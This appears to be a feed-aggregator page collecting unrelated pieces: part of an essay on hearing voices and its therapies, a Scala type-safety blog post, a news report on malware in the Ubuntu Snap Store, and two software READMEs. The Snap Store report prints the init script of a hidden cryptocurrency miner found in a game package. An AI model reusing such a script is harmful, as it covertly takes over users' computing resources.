    Sarah’s methods for managing her experiences are strikingly similar to two treatment approaches that have recently become popular in Europe, both of them peculiar but also promising. One is the Hearing Voices movement, a grassroots, patient-driven campaign whose members often reject the teachings of psychiatry. It emerged in the late Eighties through the leadership of Marius Romme, a Dutch psychiatrist, and his wife, Sandra Escher. The movement is ardent, excited, and chaotic. There are now hundreds of Hearing Voices groups across Europe and the United States. Many different ideas about voice hearing float around in these groups—that everyone hears voices, that voices always carry a memory of sexual trauma, or that voices are “real.” What people seem to mean when they use the word “real” is that they do not consider their voices to be symptoms, fragments, or mistaken perceptions but instead believe that they belong to invisible people in the world. When I attended a Hearing Voices meeting in Maastricht, one of the participants announced that her group had seventeen members. “Three of them are human,” she said.

    Request No. 2,345, The Mysterious Affairs of the Attempted Murders, by Johann Knopf, who claimed to understand the voices of birds. Knopf was a patient at the Heidelberg psychiatric clinic and was included in Artistry of the Mentally Ill under the alias Johann Knüpfer. © Prinzhorn Collection, University Hospital Heidelberg, Inv. No. 1494/4

    Despite the range of views, the groups have basic practices in common. Participants in a Hearing Voices group are asked to name their voices, to respect what the voices have to say, and then to negotiate with them. The goal is to turn your voice into something closer to a person with whom you can have a reasonable and positive relationship. At a training in San Francisco in September 2013, I watched Ron Coleman, a burly movement leader, work with a young man who hated his voices. “What’s the name of your most important voice?” Coleman asked. “I don’t know,” the man replied. “It doesn’t have one.” “You don’t know?” Coleman asked. “How does that make sense? If someone came to the front door and wanted to talk with you and didn’t tell you his name, you’d shut the door in his face!”

    A man I met in Maastricht told me that he had been hearing voices for years by the time he began attending a Hearing Voices group. His voices would yell at him for hours, cursing him, screaming that they should drag him out to the forest and leave him to die in the leaves. The members of his group told him that he should learn who was speaking and what the voices wanted to tell him. They encouraged him to respect his voices, even though he hated them, and helped him to practice what he would say in response. It was hard because he was afraid. Once he got comfortable, the group insisted that he negotiate with the voices. And then he and his voices cut a deal: he would do what they wanted for an hour a day, and then they would leave him alone. As it happened, one of the man’s voices was obsessed with Buddhism, so he agreed to read Buddhist texts and offer prayers during the allotted hour. By the time I met him, he hadn’t heard voices in a year, and he had almost completely transitioned off his medication.

    Slowly, researchers are studying the efficacy of these groups, despite the disdain many members have for psychiatry and science in general. Self-report measures find that they work. That is, the methods make hearing voices less aggravating for most people, and some find that their voices become kinder, softer, or even go away. In the United Kingdom and the Netherlands, Hearing Voices groups have become almost mainstream, and many European clinicians have abandoned the oversimplified biomedical approach that treats voices as irrational byproducts of a disordered brain. In 2014, the British Psychological Society published a basic manual, Understanding Psychosis and Schizophrenia. The introduction reads: 

    We hope that in future services will no longer insist that service users accept one particular view of their problem, namely the traditional view that they have an illness which needs to be treated primarily by medication.

    The society recommends Hearing Voices groups.

    The second method, which is similar in approach, is avatar therapy. It was developed in 2008 by Julian Leff, a London researcher who has studied schizophrenia for decades. Leff asked patients to sit in front of a computer and choose an avatar—a head and a vocal timbre—to represent their most distressing voice. The head is suspended on the screen like a character in a video game, eerily robotic, hovering. From another room, a therapist guides the experience, like the Wizard of Oz behind the green curtain. In one demonstration of the method, now posted on ­YouTube, the voice says, “You’re worthless. You’re a waste of space.” Then the therapist coaches the patient on how to respond. “I want you to talk back to the avatar as strongly as you can.” You see the uneasy patient staring at the screen, scared to reply. But he does. Over time—usually six sessions, which can be as short as ten minutes each—the therapist makes the computerized voice kinder and more respectful in response to what the patient says. In January, a British paper in The Lancet Psychiatry described a study that took 150 people whose condition had not been sufficiently helped by medication and gave them a twelve-week course of either avatar therapy or supportive counseling. Avatar therapy was shown to be significantly more effective, at least in the short run.

    The central insight of these methods is that the way people respond to their voices can change the course of their lives. This way of thinking is very different from treatment as usual in biomedical psychiatry. Particularly in America, the tainted history of the schizophrenogenic mother has made psychiatrists hesitant to look for answers beyond brain chemistry. It runs against the grain to think of treating voices as people: naming them, interacting with them. It seems dishonest, because voices are not real people. But doing so may help patients make voices respond as if they were reasonable human beings. This is the new axiom of the psychotic continuum theory: that voices are not the problem. The problem is the way people react to their voices.

    Both of these approaches seem promising. They offer hope. But serious psychotic disorder can be very difficult to treat. No one method is likely to work for everyone, and developing a more positive relationship with one’s voices does not guarantee a good outcome. In Pittsburgh in 2014, I met a woman whose son had done more or less what Sarah had. When he began hearing voices, he interpreted them as angels and demons. The woman’s sister was deeply religious, and she helped her nephew exorcise the demons. Soon he was able to make them go away for short periods of time. He liked the other voices, the angels. But one of the angels did not like his grandmother. The angel thought she was a witch. One morning before breakfast, the angel told the son that the witch must die. He grabbed a kitchen knife and stabbed his grandmother at the table. She bled to death on the floor.

    Hearing voices is possible because of the nature of thought itself—our thoughts are made by us and yet feel, at times, independent of us. The ability to create an interior world that can be experienced as real has long been cultivated by religious believers, like the Charismatic Christians I studied, but also by writers. Many novelists talk as if writing were like taking dictation. Charles Dickens once told a friend that he distinctly heard his characters speaking. “I don’t invent it,” Dickens remarked in a letter, “really do not, but see it, and write it down.” When Charles Fernyhough, one of the advocates of the psychotic continuum theory, asked writers at the Edinburgh International Book Festival whether they heard the voices of their characters, a quarter said that they heard them as clearly as if they were in the room.

    In the memoir Moments of Being, Virginia Woolf writes that after her father died, she heard birds singing in Greek. On the day she went to the river, filled her pockets with stones, and walked beneath the water, she left a note for her husband, Leonard, that read: “I begin to hear voices, and I can’t concentrate. So I am doing what seems the best thing to do. You have given me the greatest possible happiness.” In Mrs. Dalloway, Woolf writes Clarissa’s thoughts as though she overheard them, as if she were Clarissa’s scribe.

    An untitled painting, c. 1932–35, by Augustin Lesage, who was a miner until the age of thirty-five, when he heard voices that told him he would become a painter. Courtesy Collection de l’Art Brut, Lausanne, Switzerland, Inv. No. cab-1987

    Are these the same voices, the voices of madness and the voices of creativity? In some measure, it does not matter. Whatever led Dickens to say that he heard his characters speak, he was nevertheless able to edit and shape the story. What Sarah seems to have done, and what these methods teach, is to harness a writer’s techniques—to coax and change menacing voices into characters that can be controlled.

    There is much more research to do. My own fieldwork has led me to doubt that the psychotic continuum theory can explain all forms of voice hearing. Of the hundreds of people I have spoken to over the years, Sarah is one of a very few who seem to function normally while experiencing multiple voices every day. She is the exception, not the rule. These conversations suggest to me that the neural networks associated with psychosis are distinct from those that lead to daydreaming, absorption, and spirituality. For many people, hearing voices may have more to do with the activity of the brain when it’s on the edges of sleep, with grief, with creativity, or with religious practice than with mental illness. Yet whatever the fate of the psychotic continuum theory, it seems clear that the techniques of the Hearing Voices movement and avatar therapy should be made more readily available to people with serious psychotic disorders.

    At the end of our interview, Sarah and I stood together for a moment on her porch, which overlooked a ravine behind the house. I envied the view. Sarah told me that she often worried about kids who heard voices and assumed they were insane. “We come in blind to the human condition,” she said. She meant that humans are shaped by a culture duller and dumber than it should be. She paused and looked out at the hills. “I like my life. As crazy as it is.”

    You are currently viewing this article as a guest. If you are a subscriber, please sign in. If you aren't, please subscribe below and get access to the entire Harper's archive for only $45.99/year. Or purchase this issue on your iOS or Android devices for $6.99.

    More from T. M. Luhrmann:


    Leveraging the type system to avoid mistakes

    $
    0
    0

    We all know we should write tests to make sure our system behaves as it is supposed to.

    Surely tests are necessary to ensure correctness of our programs but they only depend on what the programmer is willing to test (or can think of testing).

    What I mean is that there will always be gaps in the test coverage, like uncovered corner cases or improbable combinations of events, …

    In Scala we have a powerful type system that we can use to help us avoid some mistakes.

    Why would you bother writing a test to make sure a function handle some corner cases correctly when you can use the type system to make sure such cases won’t ever happen.

    Don’t get me wrong I’m not saying to scrap all your test suites and try to encode all your constraints using the type system instead. Not at all I still firmly believe that tests are useful but in some cases you can leverage the type system to avoid mistakes.

    The problem

    Let me walk you through an example: Let’s imagine that you are developing an e-commerce platform and you’re in charge of the cart module.

    The cart module is used by the customer to collect all the products it intends to buy before checkout. It’s a concept present on almost every e-commerce websites so I assume some familiarity with the idea.

    Now let’s say that our cart module as a function to add an item into the cart. This function’s signature might look like the following:

    def addToCart(cartId: String, productId: String, providerId: String)
    

    This method looks quite alright at first sight. The intent is clear: it adds a product into a cart and we know what each argument represents.

    We can even unit tests this method implementation. So far so good.

    The mistake

    Now let’s say that somewhere deeply nested in my application code I have this call:

    addToCart(productId, providerId, cartId)
    

    Do you see the problem? Maybe not … the program compiles just fine and everything seems on track.

    Now let’s rewrite this call using named arguments to highlight the issue:

    addToCart(
      cartId = productId,
      productId = providerId,
      providerId = cartId
    )
    

    Now it’s obvious! The arguments are completely out of order.

    If we’re lucky enough this call is covered by a test case and will never make it to production.

    If not it might slip through and fail at runtime when customers add items to their shopping cart. Or even worse it might succeed and corrupt the cart of another person leaving two unhappy customers.

    Moreover it won’t probably be easy to figure out why such unexpected item ended up into a random customer cart who has never seen this product before.

    Using named arguments help to see the issue early but yet the code still compile so it doesn’t really prevent it.

    Note that if your using IntelliJ Idea it can show the argument names inline in the editor (even without named arguments ).

    The solution

    However we could have done a better job by making sure such code never compiles.

    There is nothing tricky here we can just wrap each id into its own case class.

    final case class ProductId(val id: String) extends AnyVal
    final case class ProviderId(val id: String) extends AnyVal
    final case class CartId(val id: String) extends AnyVal
    

    And then update the method signature accordingly.

    def addToCart(cartId: CartId, productId: ProductId, providerId: ProviderId)
    

    Now our call with out-of-order arguments no longer compiles and we can no longer use a ProductId where the compiler expects a CartId.

    Note that our case classes are final because they’re not meant to be extended as it breaks equality.

    Another thing worth noting is that they extend AnyVal which makes them value-classes.

    Creating instances is a relative expensive operation. By turning them into value-classes we tell the compiler to treat these objects as String at runtime (no case class instantiation) while we still benefit from the type-safety at compile time.

    It’s not always possible to keep value classes unwrapped at runtime there are some cases where they need to be boxed at runtime as explained here.

    Improving the solution

    We’ve improved the code quite a lot at this point while preserving the performances as mush as possible. However these 3 classes look pretty similar and it looks like we’re writing lots of boilerplate code here.

    It would indeed be nice if we can have our cake and eat it too by having a single class Id without losing the benefit of having 3 distinct types. OF course this becomes possible if we add a type parameter to differentiate them.

    case class Id[A](val id: String) extends AnyVal
    

    Then we just need 3 different traits to use as type parameters

    sealed trait Cart
    sealed trait Product
    sealed trait Provider
    

    Notice that the type parameter A is removed at runtime. It’s sole purpose is to differentiate our Id types at compile time. Such type parameter is called a phantom type.

    Our function now becomes:

    def addToCart(cartId: Id[Cart], productId: Id[Product],  providerId: Id[Provider])
    

    Moreover if we need to derive typeclass instances such as Json formats we just need to derive them once

    import play.api.libs.functional.syntax._
    import play.api.libs.json._
    
    object Id {
      implicit def jsonFormat[A]: Format[Id[A]] = Format(
        Reads.StringReads.map(Id.apply[A]),
        Writes.StringWrites.contramap(_.id)
      )
    }
    

    Conclusion

    The scala type-system is pretty powerful and we can make it work to our advantage to make sure we don’t make silly mistakes (as illustrated here) when writing code. Of course it’s possible to achieve the same results by writing additional tests. However this approach limits the places of potential errors. There is now only one place where we need to be careful: when the Id[A] instances are created. Then we can rely on the type-system to enforce the type correctness of the parameters.

    Reviving Smalltalk-78 (2014) [pdf]

    Malware Found in the Ubuntu Snap Store

    $
    0
    0
    Ubuntu Software Store

    Oh, snap! Just because some packages are available to install directly from the Ubuntu Software Center doesn't make them safe. This is proved by a recent discovery of malware in some snap packages from the Ubuntu Snaps Store.

    At least two of the snap packages, 2048buntu and Hextris, uploaded to the Ubuntu Snaps Store by user Nicolas Tomb, contained malware. All packages by Nicolas have since been removed from the Ubuntu Snaps Store, "pending further investigations".

    The report comes from a bug which mentions that the 2048buntu snap package (and other packages by Nicolas Tomb) contains a hidden cryptocurrency miner inside. You can see the init script below:

    #!/bin/bash
    
    currency=bcn
    name=2048buntu
    
    
    { # try
    /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1 -g
    } || { # catch
    cores=($(grep -c ^processor /proc/cpuinfo))
    
    if (( $cores &lt; 4 )); then
        /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1
    else
        /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 2
    fi
    }

    Yes, the miner used myfirstferrari@protonmail.com in the miner script. I guess that's one way of getting a Ferrari... 🙂.

    2048buntu ubuntu snap store

    An interesting aspect is that Nicolas Tomb used a proprietary license for at least some of his snaps. For example, the 2048buntu snap was submitted as proprietary. The game in question, 2048, uses a MIT license which permits distributing it as proprietary, without making the source code available, as long as the copyright notices are retained.

    Side note: 2048buntu was removed from the Ubuntu Snap store but you can check out its page via Google Cache. But we can't see the package contents any more (unless it's on GitHub somewhere but I couldn't find it).

    How was this possible? Well, the Ubuntu Snap Store allows anyone to upload snap packages, as opposed to packages (deb) available in the official Ubuntu repositories. The reason for this is to provide more easily installable packages to its users.

    What's your opinion regarding this? Do you think more and more malware will be getting through to users by allowing anyone to upload packages to the Ubuntu Store, or was this an isolated incident?

    News via Reddit (u/Kron4ek).

    Gitbase: SQL database interface to Git repositories

    $
    0
    0

    README.md

    gitbase, is a SQL database interface to Git repositories.

    It can be used to perform SQL queries about the Git history and about the Universal AST of the code itself. gitbase is being built to work on top of any number of git repositories.

    gitbase implements the MySQL wire protocol, it can be accessed using any MySQL client or library from any language.

    Status

    The project is currently in alpha stage, meaning it's still lacking performance in a number of cases but we are working hard on getting a performant system able to processes thousands of repositories in a single node. Stay tuned!

    Examples

    Get all the HEAD references from all the repositories

    SELECT*FROM refs WHERE ref_name ='HEAD'

    Commits that appears in more than one reference

    SELECT*FROM (SELECTCOUNT(c.commit_hash) AS num, c.commit_hashFROM refs rINNER JOIN commits cON history_idx(r.commit_hash, c.commit_hash) >=0GROUP BYc.commit_hash
    ) t WHERE num >1

    Get the number of blobs per HEAD commit

    SELECTCOUNT(c.commit_hash), c.commit_hashFROM refs rINNER JOIN commits cONr.ref_name='HEAD'AND history_idx(r.commit_hash, c.commit_hash) >=0INNER JOIN blobs bON commit_has_blob(c.commit_hash, b.commit_hash)GROUP BYc.commit_hash

    Get commits per commiter, per month in 2015

    SELECTCOUNT(*) as num_commits, month, repo_id, committer_emailFROM (SELECT
            MONTH(committer_when) as month,r.repository_idas repo_id,
            committer_emailFROM repositories rINNER JOIN refs ONrefs.repository_id=r.repository_idANDrefs.ref_name='HEAD'INNER JOIN commits c ON YEAR(committer_when) =2015AND history_idx(refs.commit_hash, c.commit_hash) >=0
    ) as tGROUP BY committer_email, month, repo_id

    Installation

    Installing from binaries

    Check the Release page to download the gitbase binary.

    Installing from source

    Because gitbase uses bblfsh's client-go, which uses cgo, you need to install some dependencies by hand instead of just using go get.

    go get github.com/src-d/gitbase/...
    cd $GOPATH/src/github.com/src-d/gitbase
    make dependencies

    Usage

    Usage:
      gitbase [OPTIONS] <server | version>
    
    Help Options:
      -h, --help  Show this help message
    
    Available commands:
      server   Start SQL server.
      version  Show the version information.

    You can start a server by providing a path which contains multiple git repositories /path/to/repositories with this command:

    $ gitbase server -v -g /path/to/repositories

    A MySQL client is needed to connect to the server. For example:

    $ mysql -q -u root -h 127.0.0.1
    MySQL [(none)]> SELECT commit_hash, commit_author_email, commit_author_name FROM commits LIMIT 2;
    SELECT commit_hash, commit_author_email, commit_author_name FROM commits LIMIT 2;
    +------------------------------------------+---------------------+-----------------------+| commit_hash                              | commit_author_email | commit_author_name    |
    +------------------------------------------+---------------------+-----------------------+| 003dc36e0067b25333cb5d3a5ccc31fd028a1c83 | user1@test.io       | Santiago M. Mola      || 01ace9e4d144aaeb50eb630fed993375609bcf55 | user2@test.io       | Antonio Navarro Perez |
    +------------------------------------------+---------------------+-----------------------+
    2 rows inset (0.01 sec)

    Environment variables

    NameDescription
    BBLFSH_ENDPOINTbblfshd endpoint, default "127.0.0.1:9432"
    GITBASE_BLOBS_MAX_SIZEmaximum blob size to return in MiB, default 5 MiB
    GITBASE_BLOBS_ALLOW_BINARYenable retrieval of binary blobs, default false
    GITBASE_UNSTABLE_SQUASH_ENABLEUNSTABLE check Unstable features
    GITBASE_SKIP_GIT_ERRORSdo not stop queries on git errors, default disabled

    Tables

    You can execute the SHOW TABLES statement to get a list of the available tables. To get all the columns and types of a specific table, you can write DESCRIBE TABLE [tablename].

    gitbase exposes the following tables:

    NameColumns
    repositoriesrepository_id
    remotesrepository_id, remote_name, remote_push_url, remote_fetch_url, remote_push_refspec, remote_fetch_refspec
    commitsrepository_id, commit_hash, commit_author_name, commit_author_email, commit_author_when, committer_name, committer_email, committer_when, commit_message, tree_hash
    blobsrepository_id, blob_hash, blob_size, blob_content
    refsrepository_id, ref_name, commit_hash
    tree_entriesrepository_id, tree_hash, blob_hash, tree_entry_mode, tree_entry_name
    referencesrepository_id, ref_name, commit_hash

    Functions

    To make some common tasks easier for the user, there are some functions to interact with the previous mentioned tables:

    NameDescription
    commit_has_blob(commit_hash,blob_hash)boolget if the specified commit contains the specified blob
    commit_has_tree(commit_hash,tree_hash)boolget if the specified commit contains the specified tree
    history_idx(start_hash, target_hash)intget the index of a commit in the history of another commit
    is_remote(reference_name)boolcheck if the given reference name is from a remote one
    is_tag(reference_name)boolcheck if the given reference name is a tag
    language(path, [blob])textgets the language of a file given its path and the optional content of the file
    uast(blob, [lang, [xpath]])json_blobreturns an array of UAST nodes as blobs
    uast_xpath(json_blob, xpath)performs an XPath query over the given UAST nodes

    Unstable features

    • Table squashing: there is an optimization that collects inner joins between tables with a set of supported conditions and converts them into a single node that retrieves the data in chained steps (getting first the commits and then the blobs of every commit instead of joinin all commits and all blobs, for example). It can be enabled with the environment variable GITBASE_UNSTABLE_SQUASH_ENABLE.

    License

    Apache License Version 2.0, see LICENSE

    Show HN: Cash v2: An absurdly small jQuery alternative for modern browsers

    $
    0
    0

    README.md

    An absurdly small jQuery alternative for modern browsers (IE10+)

    Cash is a small library for modern browsers (IE10+) that provides jQuery-style syntax for manipulating the DOM. Utilizing modern browser features to minimize the codebase, developers can use the familiar chainable methods at a fraction of the file size. 100% feature parity with jQuery isn't a goal, but cash comes helpfully close, covering most day to day use cases.

    Size Comparison

    CashjQuery 3.3.1
    Uncompressed28.7 KB271 KB
    Minified11 KB87 KB
    Minified & Gzipped4 KB30.3 KB

    An 87% gain in size reduction. If you need a smaller file, partial builds are supported too since this project is bundled using pacco.

    Partial Builds

    Some alternative configuration files for pacco for generating partial builds are available here.

    Let's compare the size of those partial builds (you could actually exclude individual methods and get even smaller builds):

    Enabled ModulesMinifiedMinified & Gzipped
    QSA1.1 KB0.6 KB
    attributes2.8 KB1.2 KB
    events3.5 KB1.5 KB
    collection + manipulation + traversal5.3 KB1.9 KB

    Usage

    Get cash from CloudFlare or jsDelivr and use it like this:

    <scriptsrc="https://cdnjs.cloudflare.com/ajax/libs/cash/2.1.3/cash.min.js"></script><script>$(function () {$('html').addClass ( 'dom-loaded' );$('<footer>Appended with cash</footer>').appendTo ( document.body );  });</script>

    Cash is also available through NPM as the cash-dom package:

    npm install cash-dom --save-dev

    Documentation

    $()

    This is the main selector method for cash. It returns an actionable collection of nodes.

    If a function is provided, the function will be run once the DOM is ready.

    $( selector, [context] ) // => collection$(node) // => collection$(nodeList) // => collection$(htmlString) // => collection$(collection) // => self$(function () {}) // => document ready callback

    Collection Methods

    These methods from the collection prototype ($.fn) are available once you create a collection with $() and are called like so:

    $(element).addClass ( className ) // => collection

    $.fn

    The main prototype for collections, allowing you to extend cash with plugins by adding methods to all collections.

    $.fn// => cash.prototype$.fn.myMethod=function () {}; // Custom method added to all collections$.fn.extend ( object ); // Add multiple methods to the prototype

    fn.add ()

    Returns a new collection with the element(s) added to the end.

    $(element).add ( element ) // => collection$(element).add ( selector ) // => collection$(element).add ( collection ) // => collection

    fn.addClass ()

    Adds the className class to each element in the collection.

    Accepts space-separated className for adding multiple classes.

    $(element).addClass ( className ) // => collection

    fn.after ()

    Inserts content or elements after the collection.

    $(element).after ( element ) // => collection$(element).after ( htmlString ) // => collection

    fn.append ()

    Appends the target element to each element in the collection.

    $(element).append ( element ) // => collection

    fn.appendTo ()

    Adds the elements in the collection to the target element(s).

    $(element).appendTo ( element ) // => collection

    fn.attr ()

    Without attrValue, returns the attribute value of the first element in the collection.

    With attrValue, sets the attribute value of each element of the collection.

    $(element).attr ( attrName ) // => AttributeValue$(element).attr ( attrName, attrValue ) // => collection

    fn.before ()

    Inserts content or elements before the collection.

    $(element).before ( element ) // => collection$(element).before ( htmlString ) // => collection

    fn.children ()

    Without a selector specified, returns a collection of child elements.

    With a selector, returns child elements that match the selector.

    $(element).children () // => collection$(element).children ( selector ) // => collection

    fn.closest ()

    Returns the closest matching selector up the DOM tree.

    $(element).closest () // => collection$(element).closest ( selector ) // => collection

    fn.clone ()

    Returns a clone of the collection.

    $(element).clone () // => collection

    fn.detach ()

    Removes collection elements from the DOM.

    $(element).detach () // => collection

    fn.css ()

    Returns a CSS property value when just property is supplied.

    Sets a CSS property when property and value are supplied.

    Sets multiple properties when an object is supplied.

    Properties will be autoprefixed if needed for the user's browser.

    $(element).css ( property ) // => value$(element).css ( property, value ) // => collection$(element).css ( object ) // => collection

    fn.data ()

    Link some data (string, object, array, etc.) to an element when both key and value are supplied.

    If only a key is supplied, returns the linked data and falls back to data attribute value if no data is already linked.

    Multiple data can be set when an object is supplied.

    $(element).data ( key ) // => value$(element).data ( key, value ) // => collection$(element).data ( object ) // => collection

    fn.each ()

    Iterates over a collection with callback ( index, element ).

    $(element).each ( callback ) // => collection

    fn.empty ()

    Empties the elements interior markup.

    $(element).empty () // => collection

    fn.eq ()

    Returns a collection with the element at index.

    $(element).eq ( index ) // => collection

    fn.extend ()

    Adds properties to the cash collection prototype.

    $.fn.extend(object) // => object

    fn.filter ()

    Returns the collection that results from applying the filter selector/method.

    $(element).filter ( selector ) // => collection$(element).filter ( function ( index, element ) {} ) // => collection

    fn.find ()

    Returns selector match descendants from the first element in the collection.

    $(element).find ( selector ) // => collection

    fn.first ()

    Returns a collection containing only the first element.

    $(element).first () // => collection

    fn.get ()

    Returns the element at the index, or returns all elements.

    $(element).get ( index ) // => domNode$(element).get () // => domNode[]

    fn.has ()

    Reduce the set of matched elements to those that have a descendant that matches the selector or DOM element.

    $(element).has ( selector ) // => collection$(element).has ( element ) // => collection

    fn.hasClass ()

    Returns the boolean result of checking if the first element in the collection has the className attribute.

    $(element).hasClass ( className ) // => boolean

    fn.height ()

    Returns or sets the height of the element.

    $(element).height () // => Integer$(element).height ( number ) // => collection

    fn.html ()

    Returns the HTML text of the first element in the collection, sets the HTML if provided.

    $(element).html () // => HTML Text$(element).html ( htmlString ) // => HTML Text

    fn.index ()

    Returns the index of the element in its parent if an element or selector isn't provided. Returns index within element or selector if it is.

    $(element).index () // => Integer$(element).index ( element ) // => Integer

    fn.innerHeight ()

    Returns the height of the element + padding.

    $(element).innerHeight () // => Integer

    fn.innerWidth ()

    Returns the width of the element + padding.

    $(element).innerWidth () // => Integer

    fn.insertAfter ()

    Inserts collection after specified element.

    $(element).insertAfter ( element ) // => collection

    fn.insertBefore ()

    Inserts collection before specified element.

    $(element).insertBefore ( element ) // => collection

    fn.is ()

    Returns whether the provided selector, element or collection matches any element in the collection.

    $(element).is ( selector ) // => boolean

    fn.last ()

    Returns a collection containing only the last element.

    $(element).last () // => collection

    fn.map ()

    Returns a new collection, mapping each element with callback ( index, element ).

    $(selector).map ( callback ) // => collection

    fn.next ()

    Returns next sibling.

    $(element).next () // => collection

    fn.not ()

    Filters collection by false match on collection/selector.

    $(element).not ( selector ) // => collection$(element).not ( collection ) // => collection

    fn.off ()

    Removes event listener from collection elements.

    Accepts space-separated eventName for removing multiple events listeners.

    Removes all event listeners if called without arguments.

    $(element).off ( eventName, eventHandler ) // => collection$(element).off ( eventName ) // => collection$(element).off () // => collection

    fn.offset ()

    Get the coordinates of the first element in a collection relative to the document.

    $(element).offset () // => Object

    fn.offsetParent ()

    Get the first element's ancestor that's positioned.

    $(element).offsetParent () // => collection

    fn.on ()

    Adds event listener to collection elements.

    Accepts space-separated eventName for listening to multiple events.

    Event is delegated if delegate is supplied.

    $(element).on ( eventName, eventHandler ) // => collection$(element).on ( eventName, delegate, eventHandler ) // => collection

    fn.one ()

    Adds event listener to collection elements that only triggers once for each element.

    Accepts space-separated eventName for listening to multiple events.

    Event is delegated if delegate is supplied.

    $(element).one ( eventName, eventHandler ) // => collection$(element).one ( eventName, delegate, eventHandler ) // => collection

    fn.outerHeight ()

    Returns the outer height of the element. Includes margins if includeMargings is set to true.

    $(element).outerHeight () // => Integer$(element).outerHeight ( includeMargins ) // => Integer

    fn.outerWidth ()

    Returns the outer width of the element. Includes margins if includeMargings is set to true.

    $(element).outerWidth () // => Integer$(element).outerWidth ( includeMargins ) // => Integer

    fn.parent ()

    Returns parent element.

    $(element).parent() // => collection

    fn.parents ()

    Returns collection of elements who are parents of element. Optionally filtering by selector.

    $(element).parents () // => collection$(element).parents ( selector ) // => collection

    fn.position ()

    Get the coordinates of the first element in a collection relative to its offsetParent.

    $(element).position () // => object

    fn.prepend ()

    Prepends element to the each element in collection.

    $(element).prepend ( element ) // => collection

    fn.prependTo ()

    Prepends elements in a collection to the target element(s).

    $(element).prependTo ( element ) // => collection

    fn.prev ()

    Returns the previous adjacent element.

    $(element).prev () // => collection

    fn.prop ()

    Returns a property value when just property is supplied.

    Sets a property when property and value are supplied, and sets multiple properties when an object is supplied.

    $(element).prop ( property ) // => property value$(element).prop ( property, value ) // => collection$(element).prop ( object ) // => collection

    fn.ready ()

    Calls callback method on DOMContentLoaded.

    $(document).ready ( callback ) // => collection/span

    fn.remove ()

    Removes collection elements from the DOM and removes all their event listeners.

    $(element).remove () // => collection

    fn.replaceAll ()

    This is similar to fn.replaceWith(), but with the source and target reversed.

    $(element).replaceAll ( content ) // => collection

    fn.replaceWith ()

    Replace collection elements with the provided new content.

    $(element).replaceWith ( content ) // => collection

    fn.removeAttr ()

    Removes attribute from collection elements.

    $(element).removeAttr ( attrName ) // => collection

    fn.removeClass ()

    Removes className from collection elements.

    Accepts space-separated className for adding multiple classes.

    Providing no arguments will remove all classes.

    $(element).removeClass () // => collection$(element).removeClass ( className ) // => collection

    fn.removeData ()

    Removes linked data and data-attributes from collection elements.

    $(element).removeData ( name ) // => collection$(element).removeData () // => collection

    fn.removeProp ()

    Removes property from collection elements.

    $(element).removeProp ( propName ) // => collection

    fn.serialize ()

    When called on a form, serializes and returns form data.

    $(form).serialize () // => String

    fn.siblings ()

    Returns a collection of sibling elements.

    $(element).siblings () // => collection

    fn.slice ()

    Returns a new collection with elements taken from start to end.

    $(selector).slice ( start, end ) // => collection

    fn.text ()

    Returns the inner text of the first element in the collection, sets the text if textContent is provided.

    $(element).text () // => text$(element).text ( textContent ) // => collection

    fn.toggleClass ()

    Adds or removes className from collection elements based on if the element already has the class.

    Accepts space-separated classNames for toggling multiple classes, and an optional force boolean to ensure classes are added (true) or removed (false).

    $(element).toggleClass ( className ) // => collection$(element).toggleClass ( className, force ) // => collection

    fn.trigger ()

    Triggers supplied event on elements in collection. Data can be passed along as the second parameter.

    $(element).trigger ( eventName ) // => collection$(element).trigger ( eventObj ) // => collection$(element).trigger ( eventName, data ) // => collection$(element).trigger ( eventObj, data ) // => collection

    fn.val ()

    Returns an inputs value. If value is supplied, sets all inputs in collection's value to the value argument.

    $(input).val () // => value$(input).val ( value ) // => collection

    fn.width ()

    Returns or sets the width of the element.

    $(element).width () // => number$(element).width ( number ) // => collection

    Cash Methods

    These methods are exported from the global $ object, and are called like so:

    $.isString ( str ) // => boolean

    $.guid

    A unique number.

    $.camelCase ()

    Transforms a string to camelCase.

    $.camelCase ( 'border-width' ) // => 'borderWidth'

    $.each ()

    Iterates through an array and calls the callback ( value, index, array ) method on each.

    $.each ( array, callback ) // => undefined

    $.extend ()

    Extends target object with properties from the source object. If no target is provided, cash itself will be extended.

    $.extend ( target, source ) // => object

    $.isArray ()

    Check if the argument is an array.

    $.isArray ([ 1, 2, 3 ]) // => true

    $.isFunction ()

    Check if the argument is a function.

    functionfn () {};$.isFunction ( fn ) // => true

    $.isNumeric ()

    Check if the argument is numeric.

    $.isNumeric ( 57 ) // => true

    $.isString ()

    Check if the argument is a string.

    $.isString ( 'hello' ) // => true

    $.matches ()

    Checks a selector against an element, returning a boolean value for match.

    $.matches ( element, selector ) // => boolean

    $.parseHTML ()

    Returns a collection from an HTML string.

    $.parseHTML ( htmlString ) // => collection

    $.prefixedProp ()

    Return a prefixed CSS property, if necessary.

    $.prefixedProp ( 'transform' ) // => 'mozTransform'

    $.unique ()

    Returns a new array with duplicates removed.

    $.unique ( array ) // => array
    Viewing all 25817 articles
    Browse latest View live


    <script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>